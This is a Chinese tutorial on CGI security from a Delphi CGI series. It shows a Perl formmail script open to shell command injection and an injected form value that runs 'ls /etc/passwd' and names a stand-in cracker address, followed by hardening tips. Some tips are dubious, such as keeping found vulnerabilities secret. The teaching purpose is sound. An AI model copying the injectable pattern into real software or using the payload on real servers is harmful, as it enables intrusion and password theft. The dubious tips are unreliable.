用Delphi编写CGI程序(五)
CGI 程 序 的 功 能 是 强 大 的, 但 正 是 因 为 如 此 , 如 果 您 作 为 CGI 开 发 人 员 或 系 统 管 理 人 员 不 注 意 编 写 和 设 置 CGI 程 序 的 话,将 使 您 的 系 统 千 疮 百 孔。 本 篇 就 CGI的 安 全 性 问 题 做 一 讨 论。
3 、 CGI 的 安 全 性
CGI 程 序 的 功 能 是 强 大 的 , 它 不 仅 可 以 具 有 普 通 程 序 的 功 能 , 而 且 可 以 将 程 序 的 结 果 发 布 在 WEB 上 。 但 正 是 因 为 CGI 程 序 的 功 能 如 此 强 大 , 如 果 您 作 为 CGI 开 发 人 员 或 系 统 管 理 人 员 不 注 意 编 写 和 设 置 CGI 程 序 的 话 , 将 使 您 的 系 统 千 疮 百 孔 , 让 一 些 非 法 用 户 有 机 可 乘 。
这 里 所 讲 到 的 安 全 性 并 不 是 CGI 规 范 引 起 的 , 而 是 编 程 和 系 统 设 置 不 当 引 起 的 。 CGI 规 范 使 用 户 可 以 利 用 服 务 器 的 计 算 能 力 , 是 在 服 务 器 上 的 计 算 不 当 导 致 了 系 统 的 安 全 漏 洞 。 下 面 我 给 出 一 个 在 UNIX 系 统 上 的 一 个 CGI 安 全 漏 洞 , 这 个 漏 洞 是 非 常 常 见 的 。
# !/usr/local/bin/perl
# formmail.cgi
require "cgi.pl";
# Launch e-mail application "/bin/mail" with Subject: header from the "formname" field
open (MAIL, "|/bin/mail -s '".$input{"formname"}."' webweave");
# Add send "formcontents" field as the body of the message
print MAIL $input{"formcontents"};
close(MAIL);
exit(0);
在 这 个 例 子 中 , CGI 程 序 将 表 单 的 信 息 提 交 给 /bin/mail , 并 发 送 到 webveave 服 务 器 上 去 。 在 大 多 数 情 况 下 这 个 CGI 程 序 可 以 正 常 完 成 任 务 , 但 此 CGI 程 序 未 过 滤 用 户 在 WEB 表 单 中 输 入 的 信 息 , 因 此 留 下 了 安 全 隐 患 。 当 用 户 或 别 有 用 心 的 人 输 入 了 错 误 的 数 据 可 能 导 致 系 统 错 误 或 得 到 不 应 有 的 权 限 。
例 如 用 户 在 WEB 表 单 的 "formname" 中 填 写 下 面 的 内 容 :
"ls /etc/passwd 'cracker@illegal.org #'
在 用 户 的 WEB 浏 览 器 中 就 会 显 示 出 /etc/passwd 的 内 容 , 若 此 UNIX 系 统 的 passwd 文 件 没 有 shadow , 用 户 就 可 以 利 用 此 内 容 , 使 用 crack jack 或 crack john 就 可 以 试 图 破 解 密 码 !
前 面 已 经 提 到 , CGI 的 安 全 是 程 序 员 和 系 统 管 理 员 都 应 负 责 的 , 下 面 我 就 分 别 讲 一 讲 二 者 应 注 意 的 事 :
系 统 管 理 员 的 工 作 :
1 、 与 程 序 员 合 作 , 共 享 有 关 服 务 器 安 全 的 信 息 , 同 时 互 相 检 查 代 码 , 及 时 发 现 代 码 中 的 安 全 问 题 。
2 、 使 用 好 的 服 务 器 软 件 , 经 常 去 服 务 器 软 件 的 WEB 站 点 了 解 最 新 的 信 息 。
3 、 将 服 务 器 的 用 户 限 制 在 特 定 的 网 络 主 机 上 , 使 用 服 务 器 的 安 全 管 理 功 能 、 设 置 路 由 存 取 控 制 等 。
4 、 对 CGI 功 能 进 行 限 制 , 部 分 高 级 服 务 仅 限 于 信 任 的 用 户 , 将 测 试 中 的 CGI 程 序 的 使 用 限 制 在 开 发 人 员 中 , 只 提 供 给 用 户 经 过 测 试 的 CGI 程 序 。
5 、 在 使 用 其 他 人 的 CGI 程 序 时 , 仔 细 检 查 代 码 。
6 、 将 CGI 程 序 的 使 用 限 制 在 受 保 护 的 环 境 中 , 服 务 器 设 置 成 非 特 权 用 户 访 问 , 并 为 CGI 程 序 专 门 设 立 一 个 运 行 帐 户 或 组 。
7 、 将 运 行 CGI 程 序 的 服 务 器 设 置 在 防 火 墙 外 , 这 一 点 一 定 要 注 意 , CGI 程 序 的 服 务 器 必 须 设 置 在 防 火 墙 外 , 如 果 设 置 在 防 火 墙 内 , 一 旦 非 法 用 户 找 到 了 CGI 程 序 服 务 器 的 安 全 漏 洞 , 他 就 可 以 控 制 在 防 火 墙 内 的 所 有 主 机 !
8 、 降 低 CGI 程 序 的 运 行 优 先 级 , 防 治 用 户 恶 意 运 行 大 量 的 CGI 程 序 导 致 服 务 器 过 载 。
9 、 订 阅 有 关 网 络 安 全 性 的 邮 件 , 参 加 网 络 安 全 性 的 新 闻 组 。
CGI 程 序 员 的 工 作 :
1 、 同 系 统 管 理 员 合 作 , 了 解 系 统 的 安 全 信 息 , 相 互 检 查 代 码 。
2 、 使 用 可 靠 的 库 程 序 , 检 查 库 程 序 的 源 代 码 。
3 、 从 REMOTE_HOST 中 得 到 客 户 机 名 , 将 一 些 高 级 功 能 限 制 在 受 信 任 的 客 户 机 。
4 、 如 果 WEB 服 务 器 提 供 HTTP 口 令 确 认 , 使 用 HTTP 口 令 来 限 制 访 问 。
5 、 过 滤 用 户 的 输 入 , 去 除 非 法 的 输 入 数 据 。
6 、 限 制 输 入 数 据 的 大 小 , 防 止 恶 意 用 户 输 入 大 量 数 据 使 服 务 器 过 载 。
7 、 避 免 传 递 用 户 数 据 到 其 他 应 用 程 序 , 以 免 用 户 调 用 命 令 解 释 器 或 利 用 其 他 应 用 程 序 的 安 全 漏 洞 。
8 、 发 现 了 CGI 程 序 的 漏 洞 时 , 不 要 对 任 何 人 讲 , 更 不 要 在 程 序 中 注 释 说 明 , 您 应 该 作 的 就 是 立 刻 修 补 漏 洞 。
9 、 学 作 攻 击 者 , 找 出 CGI 程 序 的 安 全 漏 洞 。